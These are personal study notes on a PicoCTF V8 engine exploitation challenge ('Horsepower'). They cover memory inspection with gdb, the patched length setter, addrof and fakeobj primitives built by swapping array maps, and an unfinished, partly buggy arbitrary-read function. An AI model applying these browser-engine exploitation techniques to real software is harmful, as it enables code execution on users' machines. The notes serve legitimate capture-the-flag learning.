~ notes

thoughts, notes, intuition pumps, rambles

Notes

Basics of JavaScript engine exploitation

PicoCTF Horsepower ~340p

Lets just create an array

d8> var a = [1.1, 1.2]
undefined

Lets inspect it

d8> %DebugPrint(a)
DebugPrint: 0x9ab08084ed9: [JSArray]
- map: 0x09ab081c39f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x09ab0818ab61 <JSArray[0]>
- elements: 0x09ab08084ec1 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x09ab0804222d <FixedArray[0]>
- All own properties (excluding elements): {
  0x9ab080446d1: [String] in ReadOnlySpace: #length: 0x09ab0810215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x09ab08084ec1 <FixedDoubleArray[2]> {
         0: 1.1
         1: 1.2
}
0x9ab081c39f1: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x09ab081c39c9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x09ab08102405 <Cell value= 1>
- instance descriptors #1: 0x09ab0818b031 <DescriptorArray[1]>
- transitions #1: 0x09ab0818b07d <TransitionArray[4]>Transition array #1:
   0x09ab08044fd5 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x09ab081c3a19 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x09ab0818ab61 <JSArray[0]>
- constructor: 0x09ab0818a8f1 <JSFunction Array (sfi = 0x9ab0810ac31)>
- dependent code: 0x09ab080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

[1.1, 1.2]

The patch provided with the challenge adds a builtin function to arrays, this function requires a parameter that is used to change .legth

d8> a.setHorsepower()
Improper attempt to set horsepower
[1.1, 1.2]
d8> a.setHorsepower(1)
[1.1]
d8> console.log(a)
1.1

As we've seen, this effectively changes .length. a's address is 0x9ab08084ed9. Remove -1 because of pointer tagging

We can confirm what %DebugPrint()

Map: 0x0804222d081c39f1 Elements: 0x000000c808084ec1

(gdb) x/4gx 0x9ab08084ed9-1
0x9ab08084ed8:	0x0804222d081c39f1	0x000000c808084ec1
0x9ab08084ee8:	0x6393ddae080425a9	0x7566280a00000adc

This is the elements array. Being an array, it has its own map at address: 0x0000000408042a99 pointer compression. There is a register that contain the base address for every heap object utilised (0x09ab08xxxxxx). This area is the lowest memory address in the engine.

(gdb) x/4gx 0x09ab08084ec1-1
0x9ab08084ec0:	0x0000000408042a99	0x3ff199999999999a
0x9ab08084ed0:	0x3ff3333333333333	0x0804222d081c39f1
(gdb)

The addresses look as follow

0x0000000408042a99: elements' array Map 0x3ff199999999999a: 1.1 0x3ff3333333333333: 1.2 0x0804222d081c39f1: a's Map address

The challenge is pretty straightforward, we'll just skip the patch and focus on the relevant part. For clarity, we can inspect the memory and see the elements array being allocated before a

(gdb) x/8gx 0x1b8e08084ed9-1
0x1b8e08084ed8: 0x0000000408042a99      0x3ff199999999999a
0x1b8e08084ee8: 0x3ff3333333333333  |-- 0x0804222d081c39f1
0x1b8e08084ef8: 0x0000000408084ed9      0x8b5af746080425a9
0x1b8e08084f08: 0x7566280a00000adc --|  0x29286e6f6974636e
(gdb) x/4gx 0x1b8e08084ef1-1
0x1b8e08084ef0: 0x0804222d081c39f1      0x0000000408084ed9
0x1b8e08084f00: 0x8b5af746080425a9      0x7566280a00000adc
+++ b/src/objects/js-array.tq
@@ -28,6 +28,9 @@ extern class JSArray extends JSObject {
   macro IsEmpty(): bool {
     return this.length == 0;
   }
+  macro SetLength(l: Smi) {
+    this.length = l;
+  }
   length: Number;
 }

We can arbitrarly overflow any array. Given this, we just have to overwrite a's Map with an array of our own and proceed in getting code execution

%DebugPrint(a) returns:

[...]
0x1b8e081c39f1: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x1b8e081c39c9 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x1b8e08102405 <Cell value= 1>
 - instance descriptors #1: 0x1b8e0818b031 <DescriptorArray[1]>
 - transitions #1: 0x1b8e0818b07d <TransitionArray[4]>Transition array #1:
     0x1b8e08044fd5 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1b8e081c3a19 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x1b8e0818ab61 <JSArray[0]>
 - constructor: 0x1b8e0818a8f1 <JSFunction Array (sfi = 0x1b8e0810ac31)>
 - dependent code: 0x1b8e080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

Lets inspect a's Map memory

(gdb) x/8gx 0x1b8e081c39f1-1
0x1b8e081c39f0: 0x1604040408042119      0x0a0007ff2100043d
0x1b8e081c3a00: 0x081c39c90818ab61      0x080421b90818b031
0x1b8e081c3a10: 0x0818b07d08102405      0x1604040408042119
0x1b8e081c3a20: 0x0a0007ff2900043d      0x081c39f10818ab61

addrof

a primitive that lets us get the memory address of an object as float value


  1. get a float array's Map
  2. get a obj array's Map
  3. place an obj in the obj array a. obj array now has a memory address at idx = 0
  4. swap the two Maps
  5. now obj array treats value at idx = 0 as a float number. As such objArr[0] returns a float value and not an obj
  6. swap back the two Maps
  7. return the obj

fakeobj

a primitive that lets us write the memory address of a non-existent ("fake") object as float value


  1. get a float array's Map
  2. get a obj array's Map
  3. write a float in the float array a. float array now has a float value at idx = 0
  4. swap the two Maps
  5. now float array treats value at idx = 0 as a memory address. As such floatArr[0] returns an obj and not a float value
  6. swap back the two Maps
  7. return the obj (which return the memory contents pointed to by the provided address)

Building arbitrary R/W

TODO

  • implement functions to convert from integer to float
    • int must use the entire 64 bit space
  • implement functions to print as hex values

Read

Create an array that will be later disguised as a Map for the array in which we will effectively read from and write to

function _read(addr) {
  let a = [1.1, 1.2, 1.3, 1.4]
  a.setHorsepower(5)
  let floatMap = a[5]

  let fakeArray = [floatMap, fakeOutOfLine, fakeElementsPtr, fakeProp]

  // get the memory address of fakeArray and read its memory as if it were an object and return a pointer to it
  let ptrFakeArray = fakeObj(addrOf(fakeArray - 0x20n))

  // now go back to fakeArray and change its elements pointer to the memory address
  // to be read (0xffffffff is a random value
  fakeArray[2] = addr

  // now read the value by accessing the object as if it were an array and thus treating its values as floats and
  // not as memory addresses
  return ptrFakeArray[0]
}

Write

Past the end of element's arrays in v8 there's the Map address of the object they refer to. Why is that the case ? I can't seem to find anything about it